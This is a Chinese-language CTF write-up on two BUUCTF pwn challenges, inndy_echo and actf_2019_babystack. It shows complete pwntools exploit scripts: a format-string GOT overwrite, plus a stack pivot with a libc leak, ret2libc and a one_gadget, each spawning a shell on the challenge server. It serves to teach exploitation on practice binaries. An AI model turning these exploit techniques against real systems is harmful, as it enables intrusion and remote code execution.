buuctf:inndy_echo、actf_2019_babystack
本文最后更新于265 天前,其中的信息可能已经过时,如有错误请发送邮件到506742773@qq.com


1、inndy_echo分析

32位partial+NX,居然是个循环的复读机

既然有system那应该是通过改got表来做

0x10c是比256大的,考虑是格式化字符串漏洞

偏移是7,当然我们要用fmtstr_payload()来修改,见过几次了,就不复习了

修改printf_got为system,直接上exp

2、inndy_echo实操

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",29568)
elf=ELF("./echo")

printf_got=elf.got['printf']
sys=elf.sym['system']
payload=fmtstr_payload(7,{printf_got:sys})
p.sendline(payload)
p.sendline("/bin/sh\x00")
p.interactive()


3、actf_2019_babystack分析

64位partial+NX,意思大概是你写的东西保存在了一个地址

如果我们直接去泄露libc这道题是行不通的,得考虑栈迁移

我们输入0xe0的数据以后,会覆盖ebp和返回地址,接着程序会打印栈地址

细看代码其实有两次输入

第一次我们就输0xe0就行,造成溢出,覆盖ebp和返回地址

第二个输入,我们泄露libc,然后后面试试ret2libc

自己写得一坨,还是去学了一下别人写的

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",28340)
elf=ELF("./ACTF_2019_babystack")

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=0x4008F6
rdi=0x400ad3
p.recvuntil('>')
p.sendline(str(0xe0))
p.recvuntil('Your message will be saved at ')
s=int(p.recvuntil('\n',drop=True),16)

leave=0x400A18
payload = b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
payload += b'a'*(0xd0-len(payload))+p64(s)+p64(leave)
p.recvline()
p.recvuntil('>')
p.send(payload)
p.recvuntil('Byebye~\n')
puts = u64(p.recvuntil('\n',drop = True).ljust(8,b'\x00'))
print(hex(puts))
p.interactive()


去搜一下看是不是泄露对了

2.27直接用buuctf提供的算了

4、cat flag

ret2libc超时打不通好像

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",28340)
elf=ELF("./ACTF_2019_babystack")

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=0x4008F6
rdi=0x400ad3
p.recvuntil('>')
p.sendline(str(0xe0))
p.recvuntil('Your message will be saved at ')
s=int(p.recvuntil('\n',drop=True),16)

leave=0x400A18
payload = b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
payload += b'a'*(0xd0-len(payload))+p64(s)+p64(leave)
p.recvline()
p.recvuntil('>')
p.send(payload)
p.recvuntil('Byebye~\n')
puts = u64(p.recvuntil('\n',drop = True).ljust(8,b'\x00'))

libc=ELF("./libc-2.27.so")
base=puts-libc.sym['puts']
sys=base+libc.sym['system']
binsh=base+next(libc.search(b"/bin/sh"))
ret=0x400709

p.recvuntil('>')
p.sendline(str(0xe0))
p.recvuntil('Your message will be saved at ')
s2=int(p.recvuntil('\n',drop=True),16)

payload=b'a'*8+p64(rdi)+p64(binsh)+p64(sys)
payload+=b'a'*(0xd0-len(payload))+p64(s2)+p64(leave)

p.recvline()
p.recvuntil('>')
p.send(payload)
p.interactive()


用one_gadget试试

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",28340)
elf=ELF("./ACTF_2019_babystack")

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=0x4008F6
rdi=0x400ad3
p.recvuntil('>')
p.sendline(str(0xe0))
p.recvuntil('Your message will be saved at ')
s=int(p.recvuntil('\n',drop=True),16)

leave=0x400A18
payload = b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
payload += b'a'*(0xd0-len(payload))+p64(s)+p64(leave)
p.recvline()
p.recvuntil('>')
p.send(payload)
p.recvuntil('Byebye~\n')
puts = u64(p.recvuntil('\n',drop = True).ljust(8,b'\x00'))

libc=ELF("./libc-2.27.so")
base=puts-libc.sym['puts']
one_gadget=0x4f2c5+base

p.recvuntil('>')
p.sendline(str(0xe0))
p.recvuntil('Your message will be saved at ')
s2=int(p.recvuntil('\n',drop=True),16)

payload=b'a'*8+p64(one_gadget)
payload+=b'a'*(0xd0-len(payload))+p64(s2)+p64(leave)

p.recvline()
p.recvuntil('>')
p.send(payload)
p.interactive()


呼~又是半天……

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇